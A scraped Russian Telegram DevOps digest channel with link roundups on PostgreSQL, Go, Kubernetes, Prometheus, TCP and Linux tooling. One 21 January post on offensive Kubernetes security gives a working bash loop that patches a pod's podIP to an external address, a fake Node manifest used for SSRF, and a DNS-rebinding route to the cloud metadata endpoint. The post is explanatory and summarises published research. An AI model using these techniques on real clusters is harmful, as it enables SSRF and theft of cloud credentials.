Пятничный деплой @count0_digest Channel on Telegram

Пятничный деплой

@count0_digest


Подборка ссылок, статей и постов из мира DevOps\SRE\разработки. Если вы хотите прислать фидбек, интересную статью или просто поболтать пишите @count0ru https://t.me/s/count0_digest

Пятничный деплой (Russian)

Пятничный деплой - это канал, созданный для любителей мира DevOps, SRE и разработки. Здесь вы найдете подборку ссылок, статей и постов, которые помогут вам быть в курсе всех последних тенденций и новостей в этой области. Если вы хотите поделиться своим мнением, прислать фидбек, интересную статью или просто пообщаться с единомышленниками, пишите администратору канала @count0ru. Присоединяйтесь к нам, чтобы расширить свои знания и навыки в DevOps и SRE, обмениваться опытом и находить вдохновение для новых проектов! https://t.me/s/count0_digest

Пятничный деплой

18 Feb, 09:56


Устраняем эффект шумного соседа в PostgreSQL с помощью cgroups

Приходилось ли вам запускать на одной виртуальной или физической машине несколько экземпляров PostgreSQL или любого другого ПО? Зачастую это вызывает эффект шумного соседа: приложения «отбирают» друг у друга ресурсы и мешают корректной работе. Если коротко, то решение запуск БД в контейнере. Читать дальше.

Пятничный деплой

17 Feb, 07:25


Замолвите словечко за akvorado

Akvorado - это Netflow-коллектор с функциями визуализации собираемого трафика. К публике он вышел в 2022 году. Очень прост для установки, развертывания и возможно даже обслуживания (если вы чуть-чуть знаете Сlickhouse).

Статья на Хабре

Репыч на Гитхабе

Пятничный деплой

14 Feb, 00:19


Тестируем Kubernetes. Vol 2 / Golang edition #habr
https://habr.com/ru/companies/selectel/articles/882026/
Tags: selectel, kubernetes, go, golang, terratest, tests, testify, gpu, тестирование видеокарт
Author: lokosst (Selectel)

Пятничный деплой

13 Feb, 17:10


🛠 Oracle Linux Enhanced Diagnostics.

Ещё в январе Oracle выкатили занятный набор инструментов и скриптов для анализа производительности и работы системы. Изначально, эти утилиты разрабатывались для внутренних нужд компании, но некоторое время назад они стали доступны для сообщества:

- https://blogs.oracle.com/linux/post/oracle-linux-enhanced-diagnostics
- https://github.com/oracle/oled-tools

В наборе имеем следующее:

lkce (Linux Kernel Core Extractor) – формирует отчёты на основе анализа vmcore дампа.
memstate – анализирует использование памяти а системе. Может быть полезным для выявления возможных утечек памяти и таких проблем как фрагментация, ошибки в hugepages, странности в работе NUMA.
kstack – собирает и анализирует стек-трейс для процесса (группы процессов), находящихся в состоянии D (D state). Выглядит полезным для диагностики зависших процессов в системе.
syswatch – выполняет пользовательские команды при достижении определённого уровня загрузки CPU. Полезно для диагностики скачков потребления CPU в системе.
scanfs – проверяет образы дисков KVM на предмет повреждений файловых систем без необходимости останавливать виртуальные машины. Поддерживает XFS и EXT4 на данный момент.
vmcore_sz – оценивает размер vmcore-дампа до его генерации, что помогает заранее планировать процесс его обработки.
scripts – набор скриптов, предназначенных для отладки специфических проблем, например, диагностики сетевых соединений.

Подробности о работе с инструментами доступны в блоге инженеров Oracle:

◦ Introducing Oracle Linux Enhanced Diagnostics.
◦ scripts - A tool to run various useful OLED diagnostic scripts.
◦ Memstate - OLED.
◦ Scanfs - OLED.
◦ Syswatch - OLED.
◦ Kstack - OLED.
◦ Lkce - OLED.
◦ SCSI DTrace - OLED.
◦ RDS DTrace - OLED.

#perf #oled #tools

Пятничный деплой

12 Feb, 13:38


GRUB и параметры ядра в Linux

GRUB — это первый, кого видит твоя система после BIOS/UEFI. Он решает, какое ядро загружать, какие параметры передавать, и вообще, даст ли он тебе шанс на нормальный рабочий день или отправит в режим паники. Читать дальше.

Пятничный деплой

11 Feb, 21:17


CPU, Memory Models, Concurrency, Multiprocess, Multithreading и Async. Часть 20. Golang.

Сегодня разбираем язык Go и то как в нем развивались примитивы для параллелизма и конкуррентности.

🔵 Сразу несколько фактов:
- В языке Go нет потоков в том смысле в котором вы видели в предыдущих постах (1-1 mapping на потоки ОС)
- В языке Go нет GIL и как следствие нет надобности писать многопроцессный код для достижения параллелизма, процессы скорее будут давать оверхэд чем пользу.

🔵 Что же есть в Go:
- Горутины - легковесные нити исполнения которыми управляем Go Runtime. Горутины реализуют M-N модель многопоточности. Подробнее об этой модели писал в посте. Такая модель позволяет достичь пареллелизма на многопроцессорном компьютере.
- Планировщик, который следит за горутинами и переключает их между собой для эффективной утилизации железа.

🔵 Планировщик. Как происходит переключение между горутинами?
В языке Go до версии 1.14 горутины были кооперативными, то есть если горутина завладевала потоком и не отпускала владение (пример - долгий цикл обсчитывающий какой нибудь интеграл) то мы могли заблокироать всю программу.

С версии 1.14 планировщик стал вытесняющим и переключение горутин стало автоматическим, вне зависимости от того чем занимается горутина, CPU или IO задачами. Слайс времени переключения - 10ms.

В этом смысле Go очень выделяется среди языков программирования, особенно среди тех которые я обозревал ранее. В Python, Ruby, Java реализации легковесных потоков кооперативные, то есть переключения происходят только если в коде есть инструкция или поток заблокировался об IO.

🔵Ограничение параллелизма. GOMAXPROCS
В Go есть возможность указать рантайму сколько потоков ОС могут исполнять наш код параллельно. И как следствие этой переменной мы можем ограничить количество ядер которые может использовать наша программа.

🔵 Что еще интересного предлагает Go?
В Go совсем необязательно писать код в том же стиле в котором его пишут на C или C++ с мьютексами. Golang предоставляет возможность процессам общаться друг с другом посредством сообщений в каналах. С точки зрения выразительности кода это совсем не похоже на то что вы могли видеть в большинстве языков.

-----

На этом всё, спасибо что читали! 😊 Если пост зашел буду рад поддержке в любом виде.

Пятничный деплой

11 Feb, 15:18


7 Crucial PostgreSQL Best Practices

https://speakdatascience.com/postgresql-best-practices

Пятничный деплой

11 Feb, 12:08


Разрабы «Штурвала» говорят: «Ванильный Кубер больше не нужен!» Верим?

На YouTube вышла долгожданная прожарка community-версии контейнерной платформы «Штурвал». В эфире — live-demo, острые вопросы и экспертное заключение, на что годится платформа.

Если еще не видели стрим — самое время наверстать. Ну и чтобы самим убедиться, что к чему, получить Штурвал CE можно по ссылке.

#реклама
О рекламодателе

Пятничный деплой

10 Feb, 15:01


Podlodka #411 – Открытые зарплаты

Информация о зарплатах в компаниях чаще всего скрыта; в лучшем случае известны вилки. При этом зарплата — это одна из главных метрик, по которой сотрудник оценивается работодателем. Но если зарплаты закрыты, можно ли быть уверенным в справедливом распределении фонда оплаты труда? И возможна ли вообще справедливость в таких условиях?

Некоторые компании решаются на радикальный шаг — открывают информацию о зарплатах для всех сотрудников. Зачем они это делают? Какие плюсы и риски несет эта практика?

Включайте выпуск! В гостях — Антон Бевзюк, который рассказал об опыте внедрения открытых зарплат на примере MindBox.

🎧 Слушать выпуск

👀 Смотреть выпуск


👉Предложить себя в подкаст

Пятничный деплой

10 Feb, 12:05


Опубликована распределённая СУБД Citus 13.0 #opennet
https://www.opennet.ru/opennews/art.shtml?num=62701

Компания Citus Data, принадлежащая Microsoft, опубликовала распределённую СУБД Citus 13.0, реализованную в форме расширения к PostgreSQL 17. Citus обеспечивает горизонтальное масштабирование PostgreSQL в кластере на базе типового оборудования и позволяет разносить данные по узлам при помощи шардинга (sharding) с настройкой разделения на уровне столбцов и схемы хранения. Для приложений кластер Citus выглядит как один большой сервер PostgreSQL, объединяющий ресурсы образующих его узлов. Код написан на языке Си и распространяется под лицензией AGPLv3.

Пятничный деплой

10 Feb, 12:05


🛠 Разработка CLI-приложения с миграциями и генерацией кода

Показываем ещё один пример приложения на Go. В нём можно попрактиковать:

• Настройку окружения: подключение PostgreSQL к Go.

• Работу с миграциями: управление схемами базы данных.

• Генерацию кода: ускоряем разработку и минимизируем ошибки.

• CLI-инструменты: автоматизация работы с БД.

Как это можно использовать


1️⃣ Менеджер задач. Создаешь CLI-приложение, где можно добавлять, удалять и редактировать задачи в БД.

2️⃣ Блог-платформа. Автоматически генерируешь код для работы с постами, комментариями и пользователями.

3️⃣ CRM-система. База клиентов, заказы, отчеты – все управляется через CLI.

🖇 В статье всё подробно разобрано с кодом и пояснениями.

🐸Библиотека Go разработчика

Пятничный деплой

10 Feb, 12:02


Argo Rollouts — Blue-Green Deployment

https://medium.chuklee.com/argo-rollouts-blue-green-deployment-75dbeff4ea19

Пятничный деплой

10 Feb, 11:55


Запись созвона сообщества, уже на всех площадках!
- 📹Youtube
- 💳Boosty
- 📺VK Video
- 📺Rutube

было много разных вопросов и вижу интерес комьюнити к теме найма, предлагаю сделать еще один созвон. Вопросы можно покидать сюда:
https://forms.gle/ZUxQGKMcLvBVHbTF7

👀@ever_secure

Пятничный деплой

08 Feb, 20:33


Разбираем cron-like решения

Иногда в приложениях нужно выполнять задачи по расписанию: чистить кеши, отправлять отчёты или делать бэкапы. В Go есть несколько способов — от стандартных инструментов до сторонних библиотек.

Простой вариант — time.AfterFunc() или time.Ticker()

time.AfterFunc позволяет выполнить функцию однократно после заданной задержки:
time.AfterFunc(3*time.Second, func() {
fmt.Println("Executed after 3 seconds")
})


ticker
используется для периодического выполнения задач через определенные интервалы времени:
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()

for i := 0; i < 3; i++ {
<-ticker.C
fmt.Println("Task executed at:", time.Now())
}



Сторонние библиотеки robfig/cron и gocron

robfig/cron поддерживает синтаксис crontab для планирования задач:
c := cron.New()

// Планируем задачу каждые 5 секунд
c.AddFunc("*/5 * * * * *", func() {
fmt.Println("Cron job executed at:", time.Now())
})

c.Start()


gocron предлагает простой API для повторяющихся задач:
s := gocron.NewScheduler(time.UTC)

s.Every(10).Seconds().Do(func() {
fmt.Println("Scheduled task executed at:", time.Now())
})

s.StartAsync()


Системный cron

Вместо того чтобы держать Go-процесс постоянно запущенным, можно использовать системный демон cron для выполнения Go-скриптов.
* * * * * /path/to/your-go-program


Если нужна простая задержка – хватит time.Ticker(). Если расписание сложнее – берём cron или gocron.

➡️ Разбор всех вариантов — в статье

🐸Библиотека Go разработчика

Пятничный деплой

08 Feb, 19:07


В нашей инфраструктуре мы давно используем PSI (Pressure Stall Information) для выявления перенасыщения (saturation) ресурсов: CPU, диск, память.

Есть мнение, что saturation — ключевой показатель, по которому легко понять состояние системы. Вокруг него построена методология USE Method.

PSI призван заменить Load Average, который не позволяет быстро и точно определять состояние системы.

Изначально PSI собирал данные per host — полезно, но шумно в контейнерных средах с множеством cgroup.

В Cgroup v2 появилась поддержка PSI для отдельных cgroup, а скоро cadvisor добавит сбор PSI по каждому контейнеру — вот тогда заживем!

P.S. Если будет запрос, могу в будущих заметках углубиться в детали. Дайте знать! 😊

tags: #cpu #k8s #metrics

Пятничный деплой

06 Feb, 15:53


Мысли вслух. Сколько потребляет памяти один запрос PostgreSQL?

В этой статье поднимается проблема как объективно посчитать размер потребляемой оперативной памяти конкретным запросом в PostgreSQL. И предлагается использовать для этого автоматическое нагрузочное тестирование. Читать дальше на Хабре.

Пятничный деплой

06 Feb, 15:01


🕊 Проведи масштабную миграцию инфры 🚁

Стань «играющим тренером», спроектируй план переезда из AWS или On-Premise в Yandex Cloud и проведи его без даунтайма командой из 1-3 человек.

Готов к крупным миграциям? Пиши нашему эйчару, мы тебя ждём!

Пятничный деплой

06 Feb, 09:05


У avito есть классная репа - справочник по работе в ИТ команде. Среди прочего в ней есть описание грейдов инженеров. Полезно для понимания как и куда расти

Пятничный деплой

05 Feb, 20:48


🛠 Декларативная валидация данных в Go

Zog – это библиотека, вдохновлённая Zod. Она позволяет гибко и декларативно проверять входные данные, минимизируя ручную обработку ошибок.

Где пригодится

• Валидация JSON-запросов в API

• Проверка параметров HTTP-запросов

• Чтение и проверка переменных окружения

• Минимизация кода валидации и ошибок

Пример использования:
var UserSchema = zog.Object(map[string]zog.Schema{
"username": zog.String().Min(3).Max(20),
"email": zog.String().Email(),
"age": zog.Number().Min(18),
})

func main() {
data := map[string]interface{}{
"username": "go_dev",
"email": "[email protected]",
"age": 25,
}

parsed, err := UserSchema.Parse(data)
if err != nil {
fmt.Println("Ошибка валидации:", err)
return
}

fmt.Println("Успешно:", parsed)
}

Создаём схему UserSchema, где username должен быть строкой длиной от 3 до 20 символов, email – валидным email-адресом, а age – числом не меньше 18. Передаём тестовый JSON и проверяем его с помощью UserSchema.Parse().

А как вы валидируете данные? Напишите в комментарии👇

🖇 Официальный репозиторий проекта

🐸Библиотека Go разработчика

Пятничный деплой

04 Feb, 02:02


В главе When to Stop Analysis книги Systems Performance обсуждается, как определить момент, когда дальнейший анализ проблемы становится неэффективным из-за низкого соотношения затрат к выгоде (ROI).

Аппетит приходит во время игры, ага:)

Автор предлагает три критерия, когда стоит остановиться:

1. Если найденное решение покрывает основную часть проблемы (66+ % от деградации);
2. Если затраты на анализ превышают потенциальную выгоду (отрицательный ROI);
3. Если есть другие задачи с более высоким ROI.

На мой взгляд, удобнее смотреть на схему по другому — перевернуть с ног на голову и сверяться с ней на каждом шаге:

1. Выбираем наиболее приоритетную проблему — хорошо когда можем сделать количественную оценку (деньги, время);
2. Погружаемся в суть и ищем решение, которое закроет хотя бы 66% проблемы;
3. GOTO 1 — проводим переоценку: точно ли оставшиеся 34 % всё ещё важнее других задач?

Звучит просто, но сколько раз я залипал на часы, разбирая то, что к делу почти не относится — подсчёту не поддаётся:)

P.S. есть мнение, что подход будет работать далеко за пределами траблшутинга и IT.

Пятничный деплой

02 Feb, 16:14


На Хабре вышла наша статья "Безопасность Kubernetes-кластеров: вредные советы или bullshit bingo", которая по сути является текстовым представлением нашего выступления с DevOpsConf 2024. В общем, для тех кому ближе текст, а не видео. И как всегда задавайте любые вопросы в комментариях!

Пятничный деплой

02 Feb, 16:13


Exposing Ports in Kubernetes: What You Should Know

https://awsmorocco.com/exposing-ports-in-kubernetes-what-you-should-to-know-cd1a80655f6c

Пятничный деплой

31 Jan, 13:55


«База» по метрикам в Prometheus

В этой статье разобрано, как устроены метрики в Prometheus, как происходит их сбор, а также что с ними можно делать. Кроме того, обсуждается подходы к мониторингу, архитектура Prometheus и её ограничения. Читать на Хабре.

Пятничный деплой

31 Jan, 12:37


В плагинах VictoriaMetrics и VictoriaLogs для Grafana устранилась проблема с подписью. Теперь установка проходит в несколько кликов.

Посмотреть на плагины

Пятничный деплой

31 Jan, 12:05


Инженерия устойчивости как основной инструмент выживания вашей организации: история, подходы и примеры внедрения в докладе Сергея Реусина с конференции DevOpsConf 2024

💙 Запись доклада опубликовали в VK Видео

Это был единственный в программе доклад про Resilience Engineering или инженерию устойчивости. Сергей рассмотрел историю появления этого термина и движения, рассказал про сообщество и экспертов, разобрал основные принципы и подходы. А также поделился практическими примерами из СберМаркета.

Если вы предпочитаете читать, то вот статья по мотивам доклада 📝

На DevOpsConf 2025 Сергей также выступит с докладом, в котором расскажет о практических проблемах становления SRE

#записьдокладаDevOpsConf
@DevOpsConfChannel

Пятничный деплой

31 Jan, 09:01


​Пара статей о том, как построить observability-решение на базе Clickhouse

Building an Observability Solution with ClickHouse - Part 1 - Logs

Building an Observability Solution with ClickHouse - Part 2 - Traces

Бонус-трек — The State of SQL-based Observability

Пятничный деплой

31 Jan, 02:39


Perforator: новая система непрерывного профилирования теперь в опенсорсе
https://habr.com/ru/companies/yandex/articles/875070/

Пятничный деплой

30 Jan, 17:10


Серия «Под капотом»: LVM

Подробности о том, как устроена эта технология. Читать на Хабре.

Пятничный деплой

28 Jan, 20:47


Beszel

Beszel - простой сервис мониторинга. Написан на #golang

https://beszel.dev/

Пятничный деплой

28 Jan, 15:44


[Перевод] DeepSeek-R1: особенности модели и как запустить модели DeepSeek-R1 на вашем компьютере #habr
https://habr.com/ru/articles/877398/
Tags: deepseek, deepseek r1, ai, ии, ии-модель
Author: NeyroEntuziast

Пятничный деплой

28 Jan, 15:39


Как-то я упустил этот замечательный проект и совсем ничего не писал про него этом канале

Temporal - это система, которая позволяет запускать долгоиграющие задачи максимально просто и прозрачно

Это что-то вроде cadenceworkflow но более человеческое

Есть возможность работать с клаудом или селф-хостед версией

Сайт https://temporal.io/

А вот набор статей про использование Temporal для обработки заказов

https://hungaikev.in/e-commerce-platform/part-1-setting-up-the-foundation/

Ах, да! Написано на #golang но клиенты есть для PHP, Java, Python, TypeScript и .Net

И еще бонусом видео про Temporal https://www.youtube.com/watch?v=wIpz4ioK0gI

Пятничный деплой

28 Jan, 15:31


40 стратегий оптимизации производительности MySQL

Рассматривайте эту статью как чек-лист, чтобы обратить внимание на то, что могло уйти из виду. Некоторые советы будут очевидны для опытных администраторов баз данных, но ничего же не мешает просто пройтись по списку, верно?

Пятничный деплой

28 Jan, 13:35


Гид по #TCP (собрание материалов о TCP из канала)

📦 Алгоритмы контроля перегрузки

- TCP Congestion Control в разных окружениях — как алгоритмы перегрузки работают при потере пакетов. Практические наблюдения.
- BBR vs CUBIC — выбираем подходящий под наше окружение алгоритм.
- Мониторинг TCP: метрики Zero Window — что такое Zero Window, как он сигнализирует о перегрузке получателя, и почему это важно мониторить.
- Как считается TCP Window Clamp — копаемся в исходниках Linux и разбираемся в механизмах TCP Window;

📈 Ретрансмиты

- Мое выступление на Perf Conf №10 — влияние потерь пакетов на производительность приложений.
- TCP Retransmission May Be Misleading — классификация типов ретрансмитов и их мониторинг
- TCP ретрансмиты и их направления — пишем eBPF код для визуализации направления ретрансмитов в Grafana;

🔗 TCP соединения

- Сетевой анализ с eBPF: измеряем Round Trip Time — пишем eBPF код для мониторинга Round Trip Time в Grafana;
- TCP Puzzlers — интерпретируй закрытие соединений правильно.
- A Complete Guide of 'ss' Output Metrics — полный разбор метрик утилиты ss.

📚 Разное

- Зависшие соединения в Haproxy и механизм работы TCP keepalive — читаем код ядра и устраняем проблемы зависших соединений.
- Рассуждения о размерах очередей и какие трейдофы у больших значений;
- Investigation of a Cross-regional Network Performance Issue — траблшутинг медленной сети между дата-центрами после обновления ядра Linux

Пятничный деплой

28 Jan, 13:34


Как проверить переключение контекста в Linux

Это продолжение вчерашней статьи. Сегодня мы разберемся с настройкой переключений контекста и затюним и попытаемся понять какие процессы грузят проц. Читать в блоге.

Пятничный деплой

28 Jan, 13:08


Для тех кто хочет начать кубернетес контроллеры, подъехала статья с основными принципами, про реконсайл и информеры коротко (и даже написали про новую фичу - priority queue). А так же как лучше дизайнить контроллеры и чего лучше придерживаться.
Статья довольно короткая, понятная и с полезными ссылками. Даже заскучать не успеете.

Пятничный деплой

28 Jan, 12:37


Prometheus SQL Exporter

Репозиторий содержит экспортер, который запускает пользовательские SQL-запросы с настраиваемыми интервалами и экспортирует полученные метрики через HTTP для использования в Prometheus.

Репыч на Гитхабе

Пятничный деплой

27 Jan, 22:09


Когда-то я решил, что писать свои стандарты — это признак зрелости. Например, внедрил правила для оформления API. Это был высер по мотивам OpenAPI, но с поправкой на мою тогдашнюю гениальность. В итоге ни одна стандартная библиотека с этим "гениальным" стандартом не дружила: местами он был избыточен, местами недостаточно гибок. Новичкам приходилось раскуривать наши наработки и TTM был не так мал, как хотелось бы.
Тогда я думал, что правила — это спасение. Оказалось, что это смирительная рубашка, которую я же и сшил. Неудобная, колется, но все обязаны носить.
Как не упасть в эту же яму? На универсальный рецепт не претендую (кажется, до этого я всё-таки дорос 😁), но кое-какие советы сформулирую.

Полезно сесть с листочком и провести аудит "а что у нас вообще есть?". Насколько зрелый тимлид у команды? Насколько команда придерживается стандартов? Каких стандартов? Как у команды с гигиеническим минимумом по тестам? По инфре для разработки? Как вообще с тестированием решений? С соблюдение процессов?
Список проверяемых атрибутов вряд ли может быть универсальным. Я бы предположил, что выписывать надо то, что вы умеете замечать, в чём вы разбираетесь, либо у вас есть тот, кто может достоверно это проаудировать.

Когда аудит проведён — можно сравнить полученные значения "зрелости" с требованиями, предъявляемыми продуктами.
Стартапу важна скорость, госу — стабильность. Не каждое правило подходит под любую задачу, это не золотой молоток.

Когда команд становится больше одной — этот подход позволяет сформулировать стратегию. Бессмысленно улучшать то, что и так хорошо, надо чинить там, где прохудилось. Руководитель не должен строить храм стандартов. Его задача — работать с людьми и помогать им расти. Стандарты — это инструмент, а не религия.

Пятничный деплой

27 Jan, 13:16


👩‍💻 В этот понедельник разбираемся, как Kubernetes API Server Proxy может стать слабым звеном в безопасности вашего кластера.

В своем блоге Рори опубликовал разбор, где наглядно показал механизм работы и скрытые подводные камни. Как сервер Kubernetes API может выступать в качестве HTTP-прокси-сервера? Есть ли ограничения использования и лазейки для атак?

Узнаем все плюсы, минусы и советы по работе — тут.

#devops #kubernetes #безопасность

Пятничный деплой

27 Jan, 09:43


Почему мы отказались от выражения «assert» в Python
https://ift.tt/AwxWeNH

В текущем проекте на Python мы практически полностью отказались от использования выражений с ключевым словом assert, и в этой статье я расскажу почему.Рассмотрим кейсы где использование выражений assert уместно, а где оно может выстрелить в ногу, и как этого избежать.

Пятничный деплой

26 Jan, 14:41


Брокеры сообщений на практике: как подключиться и пользоваться RabbitMQ в Python
https://ift.tt/ScAxF5O

Умение работать с брокерами сообщений — едва ли не базовый навык для бэкенд‑разработчиков уровня Junior и Middle. В этом базовом материале по RabbitMQ посмотрим, как развернуть решение на собственном сервере, а также установим и настроим панель управления.

Пятничный деплой

24 Jan, 09:01


Углубляемся в load average в среде Linux

Что такое load average читателям канала рассказывать не нужно. В этой статье посмотрим на практике расчет этого важного для ОС Linux показателя.

Пятничный деплой

24 Jan, 08:58


OpenTelemetry Go 2025 Goals

В этой статье в блоге OpenTelemetry собраны планы по развитию продукта на 2025 год.

Пятничный деплой

23 Jan, 09:31


Как ограничить использование CPU контейнером

В статье разбираемся с принципом работы cgroups и как устроено разграничение лимитов по CPU на контейнеры. Очень полезное чтиво.

Пятничный деплой

23 Jan, 09:28


How HTTP/2 Works and How to Enable It in Go

https://victoriametrics.com/blog/go-http2

Пятничный деплой

23 Jan, 09:20


Grafana Alerting: Save time and effort with Grafana-managed recording rules

Правила алертинга Grafana полезный инструмент для оптимизации выполнения одних и тех же запросов к источникам данных. При помощи правила вы можете заранее выполнять запросы к источникам данных и сохранять результат в БД с временными рядами (это может быть Prometheus, Mimir и т.д.). Подробности в этой статье в блоге Grafana.

Пятничный деплой

22 Jan, 08:03


Мне тут сообщили, что многие тут хотят серьезно прокачать свой DevOps. Но не знают где взять информацию и четкий план.

💪 Советую бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования в удобном формате.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.

📌 Ну а тем, кто хочет двигаться под руководством опытного наставника, моего коллеги - индивидуальная программа.

Пятничный деплой

21 Jan, 14:20


Сегодняшним постом продолжаем тематику наступательной безопасности в Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server.

Наверняка вы знаете, что Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.

Очевидно, что kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:

1) Проксирование на адреса вне кластера

Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:


#!/bin/bash

set -euo pipefail

readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1

while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"

cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"

curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"

rm -f "${POD}-orig.json" "${POD}-patched.json"
done


2) SSRF через Fake Node

Если у вас есть возможность создавать Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:


kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname



curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/


3) CVE-2020-8562 – Обход blacklist

Эксплуатация уязвимости типа TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRFDNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.

Про эти и другие способы использования kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".

Пятничный деплой

21 Jan, 09:25


Всегда есть соблазн перенести свой опыт по безопасности LinuхDocker-инфраструктур, не говоря уже о Windows, на Kubernetes-кластера.

Это может быть ваш личный опыт или опыт коллег из корпоративного стандарта с «лучшими практиками» по безопасности в Kubernetes или интернет-гуру из старых мудрых форумов. Но, к сожалению, то, что работало раньше и где-то очень полезно, на практике бывает неэффективно или даже опасно.

Маэстро по безопасности K8s Дмитрий Евдокимов расскажет, как «настроить» Kubernetes, чтобы погубить кластер.

☑️ Статья в стиле вредных советов: https://habr.com/ru/companies/oleg-bunin/articles/875114/

Пятничный деплой

20 Jan, 14:06


10 утилит-заменителей популярных инструментов Linux для эффективной работы

В этой статье подкину вам 10 продвинутых инструментов для работы в командной строке. Некоторые из них чрезвычайно удобные и функциональные. Среди них (в скобках указана оригинальная программа): dust (du), duf (df), procs (ps), bottom (top), eza (ls), zoxide (cd), ripgrep (grep), bat (cat), httpie (curl), hyperfine (time).

Пользовались какими-то из них?

Пятничный деплой

20 Jan, 14:06


modern-unix

Вдогонку к предыдущему посту для вас интересный репозиторий с еще большим количеством таких программ-аналогов. Тут собраны ссылки на репозитории следующих утилит (в скобках указаны аналоги): bat (cat), eza (ls), lsd (ls), delta, dust (du), duf (df), broot (tree), fd (find). ripgrep (grep), fzf (find), mcfly (history), choose (cut и awk), jq (sed), sd (sed), cheat, tldr (man), bottom, glances (top/htop), gtop. hyperfine, gping, procs, httpie (curl), curlie (curl), xh (curl), zoxide (cd), doggo (dig), lazygit (git).

Репыч на Гитхабе

Пятничный деплой

20 Jan, 12:36


🎙 В эфире DevOps FM — свежий пятничный подкаст.

Когда-то мы уже рассказывали о Kube FM — подкасте, направленном на расширение знаний о Kubernetes, новейших инструментах, тенденциях и обмене экспертным мнением.

В новом выпуске "Which Kubernetes PostgreSQL operator should you choose?" Дэвид Вагнер рассказывает, как выбрать наиболее подходящий оператор PostgreSQL для Kubernetes. Обсуждаются популярные операторы, их особенности и рекомендации по использованию в кластерах. Подходит как для новичков, так и для опытных пользователей Kubernetes.

🖖 Желаем приятного прослушивания и хороших выходных! А тем, кто работает — спокойных дежурных смен!

#подкаст #пятница #DevOps

Пятничный деплой

20 Jan, 10:35


Кстати, для тимлидов карту навыков уже составили. Спасибо Стасу, Егору и сообществу.

Пятничный деплой

17 Jan, 14:13


[Перевод] System Design для начинающих: Всё, что вам нужно. Часть 1 #habr
https://habr.com/ru/articles/873388/
Tags: system design, backend, highload, подготовка к собеседованию
Author: avovana7

Пятничный деплой

15 Jan, 23:46


Статья о том, как стать grep-ниндзей

Команды grep, egrepи fgrepявляются мощными утилитами для текстового поиска в Linux. Они позволяют пользователям выполнять поиск в файлах или выводе по шаблонам текста с использованием регулярных выражений (regex). В статье вы узнаете как использовать регулярные выражения, искать в бинарных файлах, искать одно вхождение, но исключать другие и т.д.

Крайне рекомендую к прочтению.

Пятничный деплой

15 Jan, 23:45


Mastering Graceful Shutdowns in Go: A Comprehensive Guide for Kubernetes

https://hackernoon.com/mastering-graceful-shutdowns-in-go-a-comprehensive-guide-for-kubernetes

Пятничный деплой

15 Jan, 19:01


Очень много пишут о сбоях в Сети.

Удивляются так, как будто видят такое в первый раз и "штожеэтопроисходит". Еще пару лет назад в ковидную эпоху было понятно, что ландшафт в информационных технологиях меняется, вычислительные ресурсы становятся дороже, а их доступность медленно, но неуклонно снижается.

Если раньше приложение на 100500х жирных фреймворках для отрисовки трех страничек было ok, а предположение о том, что датацентр в другой стране / регионе всегда доступен не подвергалось сомнению, то сегодня уже очевидно, что ChatGPT + хайповый фреймфорк из времен, когда деньги давали просто за бизнес план - не самый эффективный инструмент разработки и ресурсы, если это не самосборный сервер с алиэкспресс в подвале, по щелчку получить не получится, а работающая связность с другим ДЦ это вообще маленькое радостное чудо.

Но человек существо инертное, поэтому эти факты будут приняты массами чуть позже, скорее всего в тот момент, когда колоночка "итого" в документах за аренду серверов или закупках оборудования начнет серьезно огорчать бизнес. И что важно - это все общемировые процессы, поэтому перенес площадки в другой ДЦ/страну/континент/etc может поменять сиюминутный счет, но тренд останется прежним.

Что касается сетей, то уже давно пора переставать питать надежды на стабильность подключений. Кабели рвутся, конфигурации летят в трубу и все отваливается так же неотвратимо как рассвет и закат. И чем дороже оборудование, тем меньше резервирование, поэтому место, по которому дед Фернандо на своем тракторе раньше спокойно проезжал по оптике и мы ничего не замечали, становится источником новостей не только в профильных чатиках на пару сотен человек, но и обычных таких полноценных СМИ.

Сетевую latency и связность тоже уже никто не гарантирует, поэтому если раньше идея натянуть кубер на несколько ДЦ в паре сотен километров друг от друга встречала лишь тихий смех в ладошку, то сейчас - активное вращение пальцем в районе виска.

Что все это значит для индустрии в целом и IT руководства в частности?

Важность грамотного подхода к вычислительным ресурсам, планированию нагрузки, работы над нефукнциональными требованиями, своевременного нагрузочного тестирования и оптимизации в целом неуклонно растет. Ценность и стоимость инженеров способных делать вышеперечисленное так же повышается.

Насколько долго будет продолжаться такой тренд - время покажет, но как минимум еще лет пять еще точно.

#SRE #мысливслух @downtime_bar

Пятничный деплой

14 Jan, 17:16


